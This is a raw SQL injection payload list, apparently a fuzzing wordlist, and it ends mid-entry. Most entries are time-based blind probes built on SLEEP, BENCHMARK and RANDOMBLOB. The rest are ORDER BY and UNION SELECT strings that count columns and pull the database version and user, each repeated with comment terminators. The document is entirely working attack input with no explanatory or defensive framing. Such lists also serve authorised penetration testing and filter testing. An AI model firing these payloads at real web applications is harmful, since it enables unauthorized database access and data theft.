&&SLEEP(5) &&SLEEP(5)-- &&SLEEP(5)# ' AnD SLEEP(5) ANd '1 '&&SLEEP(5)&&'1 ORDER BY SLEEP(5) ORDER BY SLEEP(5)-- ORDER BY SLEEP(5)# (SELECT * FROM (SELECT(SLEEP(5)))ecMj) (SELECT * FROM (SELECT(SLEEP(5)))ecMj)# (SELECT * FROM (SELECT(SLEEP(5)))ecMj)-- +benchmark(3200,SHA1(1))+' + SLEEP(10) + ' RANDOMBLOB(500000000/2) AND 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2)))) OR 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2)))) RANDOMBLOB(1000000000/2) AND 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) OR 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) SLEEP(1)/*' or SLEEP(1) or '" or SLEEP(1) or "*/ ORDER BY SLEEP(5) ORDER BY 1,SLEEP(5) ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')) ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 ORDER BY SLEEP(5)# ORDER BY 1,SLEEP(5)# ORDER BY 1,SLEEP(5),3# ORDER BY 1,SLEEP(5),3,4# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30# ORDER BY SLEEP(5)-- ORDER BY 1,SLEEP(5)-- ORDER BY 1,SLEEP(5),3-- ORDER BY 1,SLEEP(5),3,4-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30-- UNION ALL SELECT 1 UNION ALL SELECT 1,2 UNION ALL SELECT 1,2,3 UNION ALL SELECT 1,2,3,4 UNION ALL SELECT 1,2,3,4,5 UNION ALL SELECT 1,2,3,4,5,6 UNION ALL SELECT 1,2,3,4,5,6,7 UNION ALL SELECT 1,2,3,4,5,6,7,8 UNION ALL SELECT 1,2,3,4,5,6,7,8,9 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 UNION ALL SELECT 1# UNION ALL SELECT 1,2# UNION ALL SELECT 1,2,3# UNION ALL SELECT 1,2,3,4# UNION ALL SELECT 1,2,3,4,5# UNION ALL SELECT 1,2,3,4,5,6# UNION ALL SELECT 1,2,3,4,5,6,7# UNION ALL SELECT 1,2,3,4,5,6,7,8# UNION ALL SELECT 1,2,3,4,5,6,7,8,9# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30# UNION ALL SELECT 1-- UNION ALL SELECT 1,2-- UNION ALL SELECT 1,2,3-- UNION ALL SELECT 1,2,3,4-- UNION ALL SELECT 1,2,3,4,5-- UNION ALL SELECT 1,2,3,4,5,6-- UNION ALL SELECT 1,2,3,4,5,6,7-- UNION ALL SELECT 1,2,3,4,5,6,7,8-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30-- UNION SELECT @@VERSION,SLEEP(5),3 UNION SELECT @@VERSION,SLEEP(5),USER(),4 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 UNION SELECT @@VERSION,SLEEP(5),"'3 UNION SELECT @@VERSION,SLEEP(5),"'3'"# UNION SELECT @@VERSION,SLEEP(5),USER(),4# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30# UNION ALL SELECT USER()-- UNION ALL SELECT SLEEP(5)-- UNION ALL SELECT USER(),SLEEP(5)-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5)-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A'))-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT 